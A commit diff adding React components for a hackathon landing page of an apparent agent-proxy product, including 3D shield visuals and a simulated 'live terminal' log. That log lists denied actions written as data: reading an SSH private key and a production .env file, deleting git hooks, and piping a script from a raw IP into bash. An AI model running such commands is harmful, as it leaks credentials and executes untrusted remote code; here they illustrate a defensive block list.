feat: hackathon landing mvp
This commit is contained in:
91
components/hackathons/live-terminal.tsx
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91
components/hackathons/live-terminal.tsx
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@@ -0,0 +1,91 @@
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'use client'
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import { useState, useEffect, useRef } from 'react'
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/* ─── Simulated live data stream terminal ─── */
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const streamLines = [
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{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
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{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
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{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
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{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
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{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
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{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
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{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
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{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
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{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
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{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
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{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
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{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
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{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
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{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
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{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
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{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
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]
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export function LiveTerminal() {
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const [lines, setLines] = useState<typeof streamLines>([])
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const [currentIndex, setCurrentIndex] = useState(0)
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const containerRef = useRef<HTMLDivElement>(null)
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useEffect(() => {
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const interval = setInterval(() => {
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setCurrentIndex((prev) => {
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const next = (prev + 1) % streamLines.length
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setLines((prevLines) => {
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const newLines = [...prevLines, streamLines[next]]
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return newLines.slice(-8) // Keep last 8 visible
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})
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return next
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})
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}, 1800)
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return () => clearInterval(interval)
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}, [])
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useEffect(() => {
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if (containerRef.current) {
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containerRef.current.scrollTop = containerRef.current.scrollHeight
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}
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}, [lines])
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return (
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<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
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{/* Title bar */}
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<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
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<div className="flex gap-1.5">
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<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
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<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
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<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
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</div>
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<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
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<div className="ml-auto flex items-center gap-1.5">
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<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
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<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
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</div>
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</div>
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{/* Stream content */}
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<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
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{lines.map((line, i) => (
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<div
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key={`${i}-${line.text}`}
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className="flex items-start gap-2 py-0.5 animate-fade-up"
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style={{ animationDuration: '0.3s' }}
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>
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<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
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{line.type === 'block' ? 'DENY' : ' OK '}
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</span>
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<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
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<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
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</div>
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))}
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{/* Blinking cursor */}
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<div className="flex items-center gap-1 pt-1">
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<span className="text-primary/60">{'>'}</span>
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<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
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</div>
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</div>
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</div>
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)
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}
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219
components/hackathons/shield-scene.tsx
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219
components/hackathons/shield-scene.tsx
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@@ -0,0 +1,219 @@
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'use client'
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import { useRef, useMemo } from 'react'
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import { Canvas, useFrame } from '@react-three/fiber'
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import { Float } from '@react-three/drei'
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import * as THREE from 'three'
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/* ─── Orbiting particles ─── */
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function Particles({ count = 80 }: { count?: number }) {
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const mesh = useRef<THREE.InstancedMesh>(null)
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const dummy = useMemo(() => new THREE.Object3D(), [])
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const particles = useMemo(() => {
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return Array.from({ length: count }, (_, i) => ({
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radius: 1.8 + Math.random() * 1.4,
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speed: 0.15 + Math.random() * 0.3,
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offset: (i / count) * Math.PI * 2,
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y: (Math.random() - 0.5) * 2.5,
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size: 0.015 + Math.random() * 0.025,
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}))
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}, [count])
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useFrame(({ clock }) => {
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if (!mesh.current) return
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const t = clock.getElapsedTime()
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particles.forEach((p, i) => {
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const angle = p.offset + t * p.speed
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dummy.position.set(
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Math.cos(angle) * p.radius,
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p.y + Math.sin(t * 0.5 + p.offset) * 0.3,
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Math.sin(angle) * p.radius
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)
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dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2))
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dummy.updateMatrix()
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mesh.current!.setMatrixAt(i, dummy.matrix)
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})
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mesh.current.instanceMatrix.needsUpdate = true
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})
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return (
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<instancedMesh ref={mesh} args={[undefined, undefined, count]}>
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<sphereGeometry args={[1, 8, 8]} />
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<meshBasicMaterial color="#D95E2A" transparent opacity={0.6} />
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</instancedMesh>
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)
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}
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/* ─── Orbital rings ─── */
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function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) {
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const ref = useRef<THREE.Mesh>(null)
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useFrame(({ clock }) => {
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if (!ref.current) return
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ref.current.rotation.z = tilt
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ref.current.rotation.y = clock.getElapsedTime() * speed
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})
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return (
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<mesh ref={ref}>
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<torusGeometry args={[radius, 0.005, 16, 100]} />
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<meshBasicMaterial color="#D95E2A" transparent opacity={0.15} />
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</mesh>
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)
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}
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/* ─── Shield geometry ─── */
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function ShieldMesh() {
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const ref = useRef<THREE.Group>(null)
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const shieldShape = useMemo(() => {
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const shape = new THREE.Shape()
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// Shield outline
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shape.moveTo(0, 1.3)
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shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4)
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shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3)
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shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4)
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shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3)
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return shape
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}, [])
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const extrudeSettings = useMemo(() => ({
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depth: 0.15,
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bevelEnabled: true,
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bevelThickness: 0.03,
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bevelSize: 0.03,
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bevelSegments: 3,
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}), [])
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useFrame(({ clock }) => {
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if (!ref.current) return
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ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15
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})
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return (
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<Float speed={1.5} rotationIntensity={0.2} floatIntensity={0.3}>
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<group ref={ref}>
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{/* Shield body */}
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<mesh position={[0, 0, -0.075]}>
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<extrudeGeometry args={[shieldShape, extrudeSettings]} />
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<meshStandardMaterial
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color="#1a1a18"
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metalness={0.7}
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roughness={0.3}
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emissive="#D95E2A"
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emissiveIntensity={0.05}
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/>
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</mesh>
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{/* Inner shield face */}
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<mesh position={[0, 0, 0.08]}>
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<shapeGeometry args={[shieldShape]} />
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<meshStandardMaterial
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color="#D95E2A"
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metalness={0.5}
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roughness={0.4}
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transparent
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opacity={0.15}
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/>
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</mesh>
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{/* Shield edge glow */}
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<mesh position={[0, 0, -0.075]}>
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<extrudeGeometry args={[shieldShape, { ...extrudeSettings, depth: 0.16 }]} />
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<meshBasicMaterial color="#D95E2A" transparent opacity={0.08} wireframe />
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</mesh>
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{/* Center node */}
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<mesh position={[0, 0.1, 0.1]}>
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<sphereGeometry args={[0.08, 16, 16]} />
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<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.8} />
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</mesh>
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{/* Network nodes */}
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{[
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[0, 0.55, 0.1],
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[-0.35, -0.15, 0.1],
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[0.35, -0.15, 0.1],
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[0, -0.55, 0.1],
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].map((pos, i) => (
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<mesh key={i} position={pos as [number, number, number]}>
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<sphereGeometry args={[0.045, 12, 12]} />
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<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.5} />
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</mesh>
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))}
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</group>
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</Float>
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)
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}
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/* ─── Data stream lines flowing around ─── */
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function DataStreams({ count = 12 }: { count?: number }) {
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const ref = useRef<THREE.Group>(null)
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const streams = useMemo(() => {
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return Array.from({ length: count }, (_, i) => {
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const angle = (i / count) * Math.PI * 2
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const radius = 2.0 + Math.random() * 0.5
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const points = Array.from({ length: 20 }, (_, j) => {
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const t = j / 19
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const a = angle + t * Math.PI * 0.5
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return new THREE.Vector3(
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Math.cos(a) * radius * (1 - t * 0.3),
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(t - 0.5) * 3,
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Math.sin(a) * radius * (1 - t * 0.3)
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)
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})
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return { points, speed: 0.5 + Math.random() * 0.5 }
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})
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}, [count])
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useFrame(({ clock }) => {
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if (!ref.current) return
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ref.current.rotation.y = clock.getElapsedTime() * 0.05
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})
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return (
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<group ref={ref}>
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{streams.map((stream, i) => {
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const curve = new THREE.CatmullRomCurve3(stream.points)
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return (
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<mesh key={i}>
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<tubeGeometry args={[curve, 20, 0.003, 4, false]} />
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<meshBasicMaterial color="#D95E2A" transparent opacity={0.1} />
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</mesh>
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)
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})}
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</group>
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)
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}
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/* ─── Main scene ─── */
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export function ShieldScene() {
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return (
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<div className="w-full h-full min-h-[300px]">
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<Canvas
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camera={{ position: [0, 0, 5.5], fov: 42 }}
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dpr={[1, 2]}
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gl={{ antialias: true, alpha: true }}
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style={{ background: 'transparent' }}
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>
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<ambientLight intensity={0.4} />
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<pointLight position={[5, 5, 5]} intensity={0.8} color="#F9F9F7" />
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<pointLight position={[-3, -2, 4]} intensity={0.3} color="#D95E2A" />
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<ShieldMesh />
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<Particles />
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<DataStreams />
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<OrbitalRing radius={2.2} speed={0.1} tilt={0.3} />
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<OrbitalRing radius={2.8} speed={-0.07} tilt={-0.5} />
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<OrbitalRing radius={1.6} speed={0.15} tilt={0.8} />
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</Canvas>
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</div>
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)
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}
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189
components/hackathons/track-visuals.tsx
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189
components/hackathons/track-visuals.tsx
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@@ -0,0 +1,189 @@
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'use client'
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import { useEffect, useRef } from 'react'
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/* ─── Animated data stream (Track 1) ─── */
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/* Compact flowing waveform + particles, self-contained */
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export function StreamViz() {
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const canvasRef = useRef<HTMLCanvasElement>(null)
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useEffect(() => {
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const canvas = canvasRef.current
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if (!canvas) return
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const ctx = canvas.getContext('2d')
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if (!ctx) return
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const dpr = window.devicePixelRatio || 1
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let w = 0, h = 0
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const resize = () => {
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const rect = canvas.getBoundingClientRect()
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w = rect.width
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h = rect.height
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canvas.width = w * dpr
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canvas.height = h * dpr
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ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
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}
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resize()
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const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = []
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for (let i = 0; i < 30; i++) {
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particles.push({
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x: Math.random() * 250,
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y: Math.random() * 300,
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vy: -0.2 - Math.random() * 0.5,
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size: 1 + Math.random() * 2,
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alpha: 0.15 + Math.random() * 0.35,
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})
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}
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let t = 0
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let animId: number
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const draw = () => {
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ctx.clearRect(0, 0, w, h)
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t += 0.02
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// Flowing wave lines
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for (let line = 0; line < 4; line++) {
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ctx.beginPath()
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const baseY = h * 0.25 + line * (h * 0.15)
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for (let x = 0; x <= w; x += 2) {
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const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8
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if (x === 0) ctx.moveTo(x, y)
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else ctx.lineTo(x, y)
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}
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ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})`
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ctx.lineWidth = 1
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ctx.stroke()
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}
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// Particles
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particles.forEach((p) => {
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ctx.beginPath()
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ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2)
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ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})`
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ctx.fill()
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p.y += p.vy
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if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w }
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})
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||||
// Connections between close particles
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for (let i = 0; i < particles.length; i++) {
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for (let j = i + 1; j < particles.length; j++) {
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const dx = particles[i].x - particles[j].x
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const dy = particles[i].y - particles[j].y
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const dist = Math.sqrt(dx * dx + dy * dy)
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if (dist < 60) {
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ctx.beginPath()
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ctx.moveTo(particles[i].x, particles[i].y)
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ctx.lineTo(particles[j].x, particles[j].y)
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ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})`
|
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ctx.lineWidth = 0.5
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ctx.stroke()
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}
|
||||
}
|
||||
}
|
||||
|
||||
animId = requestAnimationFrame(draw)
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||||
}
|
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draw()
|
||||
|
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window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Pulsing lock with rings (Track 2) ─── */
|
||||
|
||||
export function SecureViz() {
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Pulsing rings */}
|
||||
<div className="absolute w-20 h-20 rounded-full border border-emerald-500/15 animate-ping [animation-duration:3s]" />
|
||||
<div className="absolute w-32 h-32 rounded-full border border-emerald-500/8 animate-ping [animation-duration:4s] [animation-delay:0.5s]" />
|
||||
<div className="absolute w-44 h-44 rounded-full border border-emerald-500/[0.04] animate-ping [animation-duration:5s] [animation-delay:1s]" />
|
||||
|
||||
{/* Rotating orbit */}
|
||||
<svg className="absolute w-28 h-28 animate-[spin_15s_linear_infinite]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.12)" strokeWidth="0.8" strokeDasharray="4 6" />
|
||||
</svg>
|
||||
<svg className="absolute w-40 h-40 animate-[spin_25s_linear_infinite_reverse]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.07)" strokeWidth="0.5" strokeDasharray="2 8" />
|
||||
</svg>
|
||||
|
||||
{/* Orbiting dots */}
|
||||
<div className="absolute w-24 h-24 animate-[spin_6s_linear_infinite]">
|
||||
<div className="absolute top-0 left-1/2 -translate-x-1/2 w-1.5 h-1.5 rounded-full bg-emerald-400/50" />
|
||||
</div>
|
||||
<div className="absolute w-36 h-36 animate-[spin_10s_linear_infinite_reverse]">
|
||||
<div className="absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 rounded-full bg-emerald-400/30" />
|
||||
</div>
|
||||
|
||||
{/* Center lock */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-emerald-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<rect width="18" height="11" x="3" y="11" rx="2" ry="2" />
|
||||
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
||||
<circle cx="12" cy="16" r="1" fill="currentColor" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Floating code snippets (Track 3) ─── */
|
||||
|
||||
export function ExtendViz() {
|
||||
const snippets = [
|
||||
{ x: '10%', y: '12%', text: 'fn extend()', delay: '0s' },
|
||||
{ x: '45%', y: '8%', text: '<Plugin />', delay: '0.8s' },
|
||||
{ x: '20%', y: '45%', text: '.hook()', delay: '1.2s' },
|
||||
{ x: '55%', y: '42%', text: 'export', delay: '0.4s' },
|
||||
{ x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' },
|
||||
{ x: '50%', y: '78%', text: 'import', delay: '0.6s' },
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Radiating lines */}
|
||||
<svg className="absolute inset-0 w-full h-full opacity-40" viewBox="0 0 200 200" preserveAspectRatio="xMidYMid meet">
|
||||
{[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => {
|
||||
const rad = (angle * Math.PI) / 180
|
||||
return (
|
||||
<line
|
||||
key={angle}
|
||||
x1="100" y1="100"
|
||||
x2={100 + Math.cos(rad) * 90} y2={100 + Math.sin(rad) * 90}
|
||||
stroke="rgba(139, 92, 246, 0.08)"
|
||||
strokeWidth="0.5"
|
||||
strokeDasharray="2 4"
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Floating snippets */}
|
||||
{snippets.map((s, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="absolute font-mono text-[9px] px-1.5 py-1 rounded bg-violet-500/8 border border-violet-500/15 text-violet-300/40 animate-pulse whitespace-nowrap"
|
||||
style={{ left: s.x, top: s.y, animationDelay: s.delay, animationDuration: '3s' }}
|
||||
>
|
||||
{s.text}
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* Center node */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-violet-500/10 border border-violet-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-violet-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<polyline points="16 18 22 12 16 6" /><polyline points="8 6 2 12 8 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
Reference in New Issue
Block a user